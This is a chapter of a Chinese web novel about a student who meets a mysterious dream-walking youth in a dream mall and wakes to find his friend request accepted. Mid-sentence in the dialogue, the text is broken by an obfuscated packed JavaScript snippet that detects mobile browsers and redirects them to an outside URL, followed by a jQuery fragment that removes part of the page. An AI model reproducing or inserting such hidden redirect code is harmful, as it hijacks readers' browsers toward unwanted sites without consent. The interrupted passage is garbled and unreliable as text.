“又见面了。”
江亦钦直起身,倚在门框边,目光落在谢知榆身上,嗓音清浅。
刚刚他在外面跟小女孩的对话,谢知榆一个字不落地听见了,能劝退一个小鬼,只能证明他比小鬼还恐怖好吧!
谢知榆心头一紧,下意识往后缩了缩身子,戒备地盯着眼前人,试探着开口:“你……你到底是人是鬼?”
闻言,江亦钦眼底掠过一丝促狭,故意沉下脸色,周身顺势染上几分阴翳,一步步朝她逼近。
这突如其来的变化吓得谢知榆全身警报拉响,几乎是本能地转身就要拔腿逃跑。可她刚迈出半步,后领就被一只温热的手稳稳攥住,像是被掐住了命运的咽喉,进退不得。
“想跑?”少年的笑意透过语气漫出来。
谢知榆又急又怕,抬脚就朝着他的鞋面狠狠踩去。江亦钦反应极快,轻轻侧身便灵巧避开。一击落空,她不甘心,右腿顺势横扫,动作带着几分情急之下的莽撞,直直朝着对方下盘踢去。
江亦钦眸色微变,连忙伸手扣住她的脚踝,将她的脚控制住。
谢知榆见势不妙,立马求饶:“我错了,您大人有大量,别跟我计较呗!”大女子能屈能伸。
江亦钦应该很少见到这么赖皮的人,应该说他应该连人都很少见到。
“能不能先松一下手啊,我腿要抽筋了。”谢知榆看江亦钦半天没反应,只能出言提醒道。
江亦钦松开手,谢知榆的腿终于回归自己的控制,她转了转脚踝,活动了一下关节,才没有刚才那种拧着的不适感。
“现在不跑了?”
谢知榆假装没听出他话中的调侃,人在屋檐下不得不低头,现在放他一马。
看着谢知榆一副不想理他的样子,江亦钦也歇了逗她的心思:“好了,不逗你了,你看我这样子,难道像鬼吗?”
谢知榆叛逆地点了点头,小声嘟囔:“我怎么知道鬼长什么样子。”
江亦钦把手递了过去,用眼神示意谢知榆碰一下。
“我不会看手相,你递给我也没用。”谢知榆没看懂他的意思。
“我是要你感受一下我的手是热的,谁要你看手相了。”
谢知榆尴尬地笑了几声,用手指戳了戳江亦钦手心,很好,还活着。
她心底的疑惑没有完全打消,只是不再那么紧绷。
江亦钦收回手,往商场内看了看:“走吧,去找个地方坐下说。”
江亦钦抬步往外走,谢知榆犹豫了一瞬,还是快步跟上。商场里的人又开始活动起来,只是经历过刚才的事情,谢知榆怎么看怎么觉得他们僵硬得像个木偶人。灯光惨白地打在他们脸上,平添几分阴森。
谢知榆控制着自己,不跟他们对视,这里越是热闹,她越感觉可怕。
江亦钦带着她拐进一家开着的奶茶店,柜台后的店员也是一副空洞麻木的模样,却依旧机械地开始点单。
“欢迎光临,请问两位要喝点什么?”
“茉莉奶绿,少冰,三分糖,谢谢,”谢知榆很快决定好自己要喝点什么,虽然是在梦里,但更不能亏待自己,她转过身问,“你要喝什么不?”
“跟你一样就行。”
谢知榆捧着纸杯,体温因为刚刚的跑动上升,猛喝了一口冰冰的奶茶,才终于让身体的燥热降了下来。
“舒服了,”谢知榆舒了口气,“说说吧,这里到底怎么回事?你到底是谁?”
她抬头看向江亦钦,他正低头看着杯壁上凝结的水珠,侧脸在暖黄灯光下显得柔和了些,和方才吓唬她时的阴冷判若两人。
江亦钦抬眼,眼底藏着一点笑意:“我是江亦钦啊。”
“我是说,”谢知榆咬了咬吸管,语气认真起来,“这里的人都跟木偶一样,只有你像个活人。你为什么会在这里?我又为什么会在这里……”
“我也不知道,也许这里是谁的梦吧。”江亦钦的语气里带着迷茫,显然他是真的不清楚。
“不知道?”谢知榆挑眉,显然不信,“那你怎么那么熟练?还能把那个小鬼吓哭?我看你比她还熟这里。”
江亦钦沉默了几秒,指尖轻轻摩挲着杯沿,声音放得很低:“也许吧。”
谢知榆听出江亦钦语气中的躲避,明显是不想回答她的问题。
他们两个不知道该说些什么了,沉默地对坐着。
谢知榆透过奶茶店的玻璃看向外面,一切都是那么的真实,让人分不清是真是假。她漫不经心地搅动着奶茶,平时爱喝的奶茶现在也变得寡淡无味。
直到江亦钦忽然开口,打破了这片凝滞。
江亦钦看谢知榆无精打采的样子,对她说:“你还记得我上次说梦见过你吗,其实那不是我的梦。”
谢知榆动作一顿,抬眸看向他,眼里瞬间拢起几分疑惑:“不是你的梦?那是什么意思?”
“我很少会拥有属于自己的梦,”江亦钦望着店外晃动的人影,语气平淡,听不出太多情绪,仿佛在诉说一件再寻常不过的小事,“我都是进入了别人的梦,所以与其说是我在梦中见到你,不如说是有人梦到你了。”
这番话太过离奇,谢知榆下意识攥紧了杯子,指尖微微发紧。她想起方才那个嬉笑作恶的小女孩,想起满商场失去神智的路人,再联想到眼前从容自若的少年,心底的疑团越滚越大。
“穿梭在别人的梦里?”她低声重复,“所以……你不是偶然来到这里的?”
“算是,也不算。”江亦钦收回目光,落回她脸上,漆黑的眼眸在暖光里显得深邃难辨,“我本就该一直在各式各样的梦里游荡,见惯了恐惧、挣扎,还有被困住的人,一般来说,我是不会连续进入同一个人的梦境的。可不知道为什么,居然连续两次碰到你了。”
“而且,按理说,梦境中除了我不会再有一个意识清醒的人了。”
“为什么是我?”她追问,语气里带着掩饰不住的惊讶。
江亦钦垂下眼,长睫掩去眸中翻涌的情绪,只是含糊道:“我也不知道为什么,可能是有缘吧。”
他半开玩笑说道,刻意绕开了核心答案,半真半假的话语,依旧留着重重迷雾。
谢知榆哪里会轻易罢休,顺着话头继续试探:“那之前你说梦到我,其实可能是你闯入了我的梦?这么说来,我们早就不止一次碰面了?”
“嗯。”江亦钦轻轻颔首。
“那刚才那个小女孩,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574686|204733||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还有这些像木偶一样的人,也都是梦境里的东西?”
“算是这片梦境衍生出来的存在,”江亦钦简单解释,“它们依靠梦境而生,也被困在这里。方才那个小家伙只是贪玩,喜欢拉着闯入者玩游戏,算不上真正的恶意。”
想起刚才被堵在杂物间的惊险一幕,谢知榆还是心有余悸,小声吐槽:“这游戏也太吓人了。”
江亦钦闻言低低笑了一声,清朗的笑声驱散了周遭几分阴森的气息:“习惯就好了。只是你不一样,你是外来者,在这里停留太久,会被梦境的力量缠上,到时候就很难离开了。”
这话让谢知榆瞬间绷紧了神经:“离开?那要怎么回去?”
“自然可以。”江亦钦语气笃定,“梦境不会长久,等到幻境开始崩塌,你便会醒来。只是在此之前,最好不要随意四处乱走,也别再去招惹那些东西。”
谢知榆连忙点头,她犹豫片刻,还是问出了憋在心里许久的问题:“那你呢?你每次都能来去自如吗?你……到底是什么人?”
这个问题像是触碰到了他不愿提及的禁区。江亦钦端起奶茶抿了一口,杯沿遮住了大半张脸,神色淡了下来。
“我只是一个无处落脚的流浪者。”他避开正面回答,“比起我,你更该担心自己。梦境快要不稳了。”
谢知榆一愣,连忙看向四周。
不知何时,商场里的光线开始忽明忽暗,惨白的灯光不断闪烁,耳边嘈杂的人声渐渐变得失真、缥缈,像是老旧磁带被放慢了速度。来往的木偶人身形开始微微扭曲,轮廓变得模糊不清,整座商场都泛起一层细碎的波纹。
脚下的地面也轻轻晃动起来。
“要醒了?”谢知榆心头一紧。
“对。”江亦钦站起身,目光牢牢锁住她,“记住我的话,下次再入梦,尽量待在安全的地方。如果再遇到危险……”
他顿了顿,话语在唇边辗转,最终只化作一句简短的叮嘱:“等我。”
周围的景象扭曲得越来越厉害,墙体、商铺、行人逐一化作碎片,如同散掉的琉璃。强烈的眩晕感席卷而来,谢知榆眼前阵阵发黑。
她还想再问些什么,视线却已经被浓重的光影吞没。朦胧间,她似乎看见江亦钦依旧站在原地,身形在破碎的幻境里显得孤孤单单,目光始终追随着她的方向。
下一秒,天旋地转。
刺骨的阴冷尽数褪去,取而代之的是宿舍里熟悉的暖意与舍友绵长的呼吸声。
谢知榆猛地睁开眼睛,大口喘着气,胸口起伏不定。窗外天色已经蒙蒙发亮,晨曦透过窗帘缝隙照进屋内。
她抬手摸了摸自己的手心,仿佛还残留着方才触碰江亦钦时的温热,梦里的一幕幕清晰得恍如昨日。
挣扎着坐起身,她第一时间抓过枕边的手机。屏幕亮起,好友列表顶端,那个顶着黑色小猫头像、昵称是字母J的账号,赫然显示着“已通过好友申请”。
申请通过的时间,定格在早晨七点整。
谢知榆望着屏幕,心跳再次不受控制地加速,这一切都太过离奇了。
梦里的江亦钦穿梭于无数梦境,现实里的他,又究竟是什么模样,他们是同一个人吗?